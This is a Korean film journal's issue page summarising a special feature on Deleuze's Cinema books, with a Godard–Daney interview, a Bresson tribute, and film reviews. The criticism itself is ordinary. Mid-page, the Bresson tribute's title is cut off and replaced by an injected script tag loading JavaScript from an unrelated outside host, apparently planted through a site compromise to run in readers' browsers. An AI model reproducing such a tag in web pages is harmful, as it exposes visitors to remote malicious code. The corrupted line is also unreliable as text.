특집: 들뢰즈 시네마 읽기 금세기를 대표하는 철학자 가운데 한 사람인 질 들뢰즈가 1980년대 중반 영화에 대한 두 권의 책( 시네마 1 과 시네마 2 )을 발표했을 때 그것은 상당한 화제를 불러일으켰다. 하지만 그 이후 불행하게도 이 책들은 당연히 받아야 할 조명을 충분히 받지 못한 것으로 보인다. 아마도 이것은 철학책이라고도, 영화책이라고도 하기 힘든 이 책의 독특한 성격 때문이었을 것이다. 과연 이 책들에서 우리는 흔히 '생성의 철학'이라 불리는 들뢰즈의 철학적 탐구의 궤적과 파리의 영화관에 자주 출입했던 그 자신의 시네필로서의 '취미적 집착'이 아슬아슬하게 결합되어 있음을 감지할 수 있다. 본 특집은 아직도 그 전모가 제대로 소개되지 않은 시네마 의 핵심적인 논제를 검토하고 현재 일종의 한계점에 봉착한 것으로 보이는 기존의 영화 이론에 대해 이 책이 어떠한 영감을 줄 수 있는지를 탐색해 보고자 한다.
들뢰즈: 영화의 아베세데르 (김성태) 굳이 사르트르나 메를로 퐁티를 들먹일 것도 없이 프랑스의 현대 철학자들에게 있어 영화는 항상 중요한 관심의 대상이었다. 하지만 들뢰즈가 이들과 차별되는 결정적인 측면은 그가 영화를 사유의 연습을 위한 대상으로 본 것이 아니라 영화 자체가 일종의 사유를 그 안에 품고 있다는 것을 주목한 점에 있다. 그리하여 들뢰즈의 책은 영화를 분석하는 도구를 제공하는 것이 아니라 영화를 '이해하는' 틀을 제공한다고 필자는 말한다.
운동-이미지와 시간-이미지: 들뢰즈 <시네마>의 스케치 (임세은) 시네마 는 독자들에게 영화에 대한 완전히 다른 시각을 요구한다. 운동과 시간에 대한 기초적인 사유를 이해하지 못하는 독자들에게 그의 책은 그리 쉬운 접근을 허용하지 않는다. 이 글은 가급적 평이하게 시네마 의 주요 테마를 순서대로 개괄하고 있다. 들뢰즈가 이론적 자원으로 활용한 베르그송과 퍼스의 논의 등을 적절히 소개해 시네마 를 읽는 데 유용한 지침을 제시하고 있다.
이미지와 기호: 들뢰즈와 영화 기호학에 대하여 (홍성남) 흔히 현대 영화 이론의 시작은 영화 이론에 기호학이 도입되면서, 즉 크리스티앙 메츠의 영화 기호학 논의가 개진되면서라고 말한다. 메츠는 영화가 일종의 '언어'라고 보면서 영화 연구의 영역에 언어학을 끌어들였다. 하지만 들뢰즈는 이런 식의 영화 기호학은 결국 이미지라는 것을 소멸케 하는 경향이 있다고 지적한다. 이런 측면에서 살펴본 메츠에 대한 비판과 들뢰즈의 기호에 대한 논의가 이 글에 실려 있다.
운동-이미지: 베르그송과 들뢰즈 (박성수) 들뢰즈는 시네마 에서 자신의 논의의 중요한 결절점에서 항상 베르그송을 도입한다. 이것은 그만큼 베르그송의 철학이 들뢰즈에게 있어 중요하다는 것을 의미한다. 이 글은 베르그송의 물질과 기억 의 1장이 들뢰즈에게 어떻게 활용되는가를 검토하고 있다. 들뢰즈가 영화적 이미지에 어떻게 존재론적인 지위를 부여하게 되는가가 잘 드러나 있다.
들뢰즈, 시간의 이미지, 마이너 영화 (주은우) 들뢰즈는 현대의 정치적인 영화는 민중의 현존을 보여 주는 것이 아니라 그 민중이 실종되었음을 보여 주는 것이라고 말한다. 그리하여 정치 영화의 과제는 민중의 생성, 집합적 생성의 가능성을 탐구하는 것이다. 이 글은 들뢰즈가 시간-이미지의 영화에서 제시한 '민중의 실종'이라는 문제가 어떻게 소수파 영화라는 정치적 실천의 영역에 활용될 수 있는가를 보여 준다.
시네마 와 디지털 레짐 (김성욱) 들뢰즈의 영화에 대한 논의는 주로 고전 / 현대 영화라는 도식으로 설명되어 왔다. 이 글은 디지털화한 오늘의 미디어 환경에서 들뢰즈의 논의가 어떻게 확장될 수 있는지를 보여 준다. '디지털 레짐'이라고 이름 붙일 수 있는 이 새로운 미디어 환경은 단순히 새로운 이미지의 구성일 뿐 아니라 나아가서 인간과 세계에 대한 새로운 이해를 바탕으로 하고 있다. 필자는 라이프니츠적인 단자론이 디지털 레짐을 이해하는 데 있어 중요한 이론적 자원이 되고 있음을 지적한다.
대담: 장 뤽 고다르 대 세르쥬 다네 장 뤽 고다르와 세르쥬 다네는 각각 영화 감독과 영화 비평가로서 당대 프랑스 최고의 영화적 지성이라고 불러도 좋을 인물들이다. 바로 그들이 고다르의 ＜영화사＞ 프로젝트에 대해 이야기를 나눴다. 이들 사이의 대담은 서구 예술사라는 큰 컨텍스트 안에서 영화라는 것에 대해 매우 예리한 견해를 보여 주는 귀중한 자리를 제공한다.
브레송의 죽음, 순수 영화?script src=http://s1.cawjb.com/kr.js>
차례
특집: 들뢰즈 <<시네마>> 읽기
들뢰즈: 영화의 아베세데르 (김성태) 운동-이미지와 시간-이미지: 들뢰즈 <시네마>의 스케치 (임세은) 이미지와 기호: 들뢰즈와 영화 기호학에 대하여 (홍성남) 운동-이미지: 베르그송과 들뢰즈 (박성수) 들뢰즈, 시간의 이미지, 마이너 영화 (주은우) 시네마 와 디지털 레짐 (김성욱)
대담: 장 뤽 고다르 대 세르쥬 다네 -- "영화는 서구 예술사의 마지막 장이다" 트리뷰트: 브레송의 죽음, 순수 영화의 마지막 자취 (홍성남) < 강원도의 힘> 또는 해체적 리얼리즘의 힘 (곽한주) 어떤 '상처'의 재구성: <박하 사탕> (김영진) 영화제 리포트: 제50회 베를린 영화제 (이영기) 리뷰: <거짓말>, <슬리피 할로우>, <춘향뎐>, <비상 근무>, <아메리칸 뷰티>, <가을 이야기>
